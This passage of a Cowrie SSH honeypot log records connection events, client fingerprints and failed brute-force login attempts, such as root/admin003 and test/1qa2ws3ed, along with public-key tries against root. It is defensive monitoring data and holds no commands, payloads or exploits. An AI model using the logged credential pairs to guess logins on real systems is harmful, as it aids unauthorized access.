sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:54:05.812946Z","src_ip":"107.150.103.12","session":"0888a0fbfc55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu2","password":"123456","message":"login attempt [ubuntu2/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:54:06.119142Z","src_ip":"107.150.103.12","session":"0888a0fbfc55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:54:07.189595Z","src_ip":"107.150.103.12","session":"0888a0fbfc55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.103.12","src_port":44318,"dst_ip":"159.203.135.109","dst_port":22,"session":"5dfe31ddbe03","protocol":"ssh","message":"New connection: 107.150.103.12:44318 (159.203.135.109:22) [session: 5dfe31ddbe03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:54:52.881980Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:54:52.886393Z","src_ip":"107.150.103.12","session":"5dfe31ddbe03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:54:52.956345Z","src_ip":"107.150.103.12","session":"5dfe31ddbe03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234","message":"login attempt [ubuntu/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:54:53.267690Z","src_ip":"107.150.103.12","session":"5dfe31ddbe03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:54:54.340130Z","src_ip":"107.150.103.12","session":"5dfe31ddbe03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.86.233","src_port":36557,"dst_ip":"10.17.0.5","dst_port":22,"session":"1213688881ca","protocol":"ssh","message":"New connection: 137.184.86.233:36557 (10.17.0.5:22) [session: 1213688881ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:55:32.214356Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.103.12","src_port":51794,"dst_ip":"159.203.135.109","dst_port":22,"session":"b5c36c97cf54","protocol":"ssh","message":"New connection: 107.150.103.12:51794 (159.203.135.109:22) [session: b5c36c97cf54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:55:40.942354Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:55:40.946968Z","src_ip":"107.150.103.12","session":"b5c36c97cf54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:55:41.021474Z","src_ip":"107.150.103.12","session":"b5c36c97cf54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftptest","password":"P@ssw0rd","message":"login attempt [ftptest/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:55:41.338034Z","src_ip":"107.150.103.12","session":"b5c36c97cf54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.5","message":"Connection lost after 9.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:55:41.768344Z","src_ip":"137.184.86.233","session":"1213688881ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:55:42.411622Z","src_ip":"107.150.103.12","session":"b5c36c97cf54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.103.12","src_port":48510,"dst_ip":"159.203.135.109","dst_port":22,"session":"4cf3557ddff1","protocol":"ssh","message":"New connection: 107.150.103.12:48510 (159.203.135.109:22) [session: 4cf3557ddff1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:56:30.077214Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:56:30.085952Z","src_ip":"107.150.103.12","session":"4cf3557ddff1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:56:30.160484Z","src_ip":"107.150.103.12","session":"4cf3557ddff1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1qa2ws3ed","message":"login attempt [test/1qa2ws3ed] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:56:30.474270Z","src_ip":"107.150.103.12","session":"4cf3557ddff1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:56:31.548482Z","src_ip":"107.150.103.12","session":"4cf3557ddff1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.22.49.38","src_port":60547,"dst_ip":"159.203.135.109","dst_port":22,"session":"0861d1b77c73","protocol":"ssh","message":"New connection: 165.22.49.38:60547 (159.203.135.109:22) [session: 0861d1b77c73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:57:15.689410Z"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:57:16.217653Z","src_ip":"165.22.49.38","session":"0861d1b77c73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.103.12","src_port":45926,"dst_ip":"159.203.135.109","dst_port":22,"session":"1843151a37dc","protocol":"ssh","message":"New connection: 107.150.103.12:45926 (159.203.135.109:22) [session: 1843151a37dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:57:19.672184Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:57:19.677118Z","src_ip":"107.150.103.12","session":"1843151a37dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:57:19.747697Z","src_ip":"107.150.103.12","session":"1843151a37dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin003","message":"login attempt [root/admin003] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:57:20.059448Z","src_ip":"107.150.103.12","session":"1843151a37dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:57:21.132932Z","src_ip":"107.150.103.12","session":"1843151a37dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.171.144.146","src_port":59800,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b08550cf85f","protocol":"ssh","message":"New connection: 142.171.144.146:59800 (10.17.0.5:22) [session: 8b08550cf85f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:57:28.927042Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:57:28.932078Z","src_ip":"142.171.144.146","session":"8b08550cf85f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:57:29.008510Z","src_ip":"142.171.144.146","session":"8b08550cf85f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"92:cd:1e:25:0e:d4:30:da:ca:24:bd:0c:e3:e1:e0:96","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCaC+LB+4mMcFDQ99RSd6rSnk8VSxbPrOfWldR1gamGPtitw1LcOGtBa4yHyf+mXUPLbkIt/ooY1m4FZs7Uyf50LqEDNBL0SlWcZhfTNk4DkFVzjAmZfRdUvrGp3kp3brXhICQ5cqrdT4fY5pSznlxsvuvBC9ShM3kuDRYm6Pk3HVdhsVX77E6q7j49t0QW4CpTZIgaVIwymXWqf1m6iuQ4cMDtL244ca7tkgnUZlevNQr8vm+B0KOUPVzs//w1N3R6B1q+k4USkiD1WQA4fN0bHooSsb/rcX3FmMmqlcLB8j6K0LzkBa6h8+h8JWLUHS8jTUz2LZWdAkx3Q/eCWYnB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 92:cd:1e:25:0e:d4:30:da:ca:24:bd:0c:e3:e1:e0:96","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:57:29.337842Z","src_ip":"142.171.144.146","session":"8b08550cf85f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"92:cd:1e:25:0e:d4:30:da:ca:24:bd:0c:e3:e1:e0:96","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCaC+LB+4mMcFDQ99RSd6rSnk8VSxbPrOfWldR1gamGPtitw1LcOGtBa4yHyf+mXUPLbkIt/ooY1m4FZs7Uyf50LqEDNBL0SlWcZhfTNk4DkFVzjAmZfRdUvrGp3kp3brXhICQ5cqrdT4fY5pSznlxsvuvBC9ShM3kuDRYm6Pk3HVdhsVX77E6q7j49t0QW4CpTZIgaVIwymXWqf1m6iuQ4cMDtL244ca7tkgnUZlevNQr8vm+B0KOUPVzs//w1N3R6B1q+k4USkiD1WQA4fN0bHooSsb/rcX3FmMmqlcLB8j6K0LzkBa6h8+h8JWLUHS8jTUz2LZWdAkx3Q/eCWYnB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:57:29.341611Z","src_ip":"142.171.144.146","session":"8b08550cf85f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9a:c1:f5:57:1c:f1:88:d3:e9:01:d8:0f:39:8e:cc:c0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC/wakAhxtSYYCQ5rrsgBsIPhEWEDUzz1xU+fY1rAKJ0kj8ndqjZ7VUMe0WXeWEYNMDMNmrP5Ppv6xMeF/FHzhsQjzsAg/dG3xPtkHAV8UM8Rfn3dE40l4uHmogFbQEnHO+FM7mKzlQlOq4gKUBU0FZ/EhbaAz7L4JsksE6ew2fTH14hLChP7eBQEBcrh44ZHXNOsBF+4klUic+cmrVrBLVI+WaOjCb4FPLQAQm5Lyj5yKivUZkkATmVJX1Pbw3ukTLPblOHONNBCKyGH1HzotrtQHlOTqYv38Q/q2QIoICqclKzhLOGJUEI1B8pS4CsxG6ebGy7JVfww30Y4xtq4Lp+9pjyPEJXJXREUS1F0SNkgBt11mfTxiVFhVcbDyRfJjcIGKKuePv92x6GmhzG08c/4A/KOzOEDS78a0EczFBsZrRm61Gkc48DR5kdr5cDlruYNvbow3NonLdeQmvve0R0GTiSn4jkWowfuQ17X9EdcBUxnj9T7U9u5XY95hr0cqIJs/zw37Gz873H2C+Cb7Yh9s5r+76J8LK9FN4rp7MeHRM2amixZNy2rYFMJZhx3JaqZ2BqkUGEf9kEiH62dl63L5M6l0TJfPKjCU/Z8n9ZYnv/nEMUClOodnp3nRONsWgZRa6TC3VykFL9tG41SH/02uklOCalMlH0dMjBgHwVQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9a:c1:f5:57:1c:f1:88:d3:e9:01:d8:0f:39:8e:cc:c0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:57:29.414969Z","src_ip":"142.171.144.146","session":"8b08550cf85f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9a:c1:f5:57:1c:f1:88:d3:e9:01:d8:0f:39:8e:cc:c0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC/wakAhxtSYYCQ5rrsgBsIPhEWEDUzz1xU+fY1rAKJ0kj8ndqjZ7VUMe0WXeWEYNMDMNmrP5Ppv6xMeF/FHzhsQjzsAg/dG3xPtkHAV8UM8Rfn3dE40l4uHmogFbQEnHO+FM7mKzlQlOq4gKUBU0FZ/EhbaAz7L4JsksE6ew2fTH14hLChP7eBQEBcrh44ZHXNOsBF+4klUic+cmrVrBLVI+WaOjCb4FPLQAQm5Lyj5yKivUZkkATmVJX1Pbw3ukTLPblOHONNBCKyGH1HzotrtQHlOTqYv38Q/q2QIoICqclKzhLOGJUEI1B8pS4CsxG6ebGy7JVfww30Y4xtq4Lp+9pjyPEJXJXREUS1F0SNkgBt11mfTxiVFhVcbDyRfJjcIGKKuePv92x6GmhzG08c/4A/KOzOEDS78a0EczFBsZrRm61Gkc48DR5kdr5cDlruYNvbow3NonLdeQmvve0R0GTiSn4jkWowfuQ17X9EdcBUxnj9T7U9u5XY95hr0cqIJs/zw37Gz873H2C+Cb7Yh9s5r+76J8LK9FN4rp7MeHRM2amixZNy2rYFMJZhx3JaqZ2BqkUGEf9kEiH62dl63L5M6l0TJfPKjCU/Z8n9ZYnv/nEMUClOodnp3nRONsWgZRa6TC3VykFL9tG41SH/02uklOCalMlH0dMjBgHwVQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:57:29.418584Z","src_ip":"142.171.144.146","session":"8b08550cf85f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"49:db:7f:5f:73:7b:04:11:23:24:df:0a:3f:ab:d0:d5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCuaK90lPk+5EPExY9GEeO5eE1oIfUUpLdUySOhbTyWw7QfVksmL65BwG9dModcRyocH/WqYwHbAKR3UmQoWa+ui+9QMz5lETdlZ8EZfhNKpVmRRiav+s773WmmPncM9l5UNbi3ZuGV7Mr4jquxIW48UuRBdEq5dH8bM20urvLJUfE/aEUyABOjvJwuS0nzv5L/lgHNAaLdt9Fy7DOZFsolk2bhIB1tsv2XrwzCHKYkICxG/+j5Teg3vLVnj5YzzSRCmQOFt0FUFyiMbxhdJEryL3cwtjIxb89j1wcOyOb5ZKphDcpXFiiBe7V+fxe24GrSPmzK0jlbYzgFRW6OItaLjdV8ePwYEnId474xQPAG9vKYW6WMl8m6UC1A3UdgQQrHY64/cdP0fRxgwrEgKkjLbBue0p9OZ24gh0Vbgauyh0c73pIqb7+pc+rmrKN/kdpiyRw/sOI3123grv618ShsE9Sb4ttTLbn2shgAjiA+LcalaKXY603ihFmPaEYPBo0BHPZ2WEgQCuyBeoZmQfbTb1AHCMXzx5xZliGiu16tXEL3sWC/OAmROYMEzaPBRwgASY3G6Vx1HAV89tLP0+625l+hq2vLNplVsvqDjC8jPFMTHs07bbUORXGlGhtY2DI2vtYEMQl6zEiIgHpW8KHUPcB63k2bHqfIDVcBj8cDUQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 49:db:7f:5f:73:7b:04:11:23:24:df:0a:3f:ab:d0:d5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:57:29.489119Z","src_ip":"142.171.144.146","session":"8b08550cf85f","protocol":"ssh"}
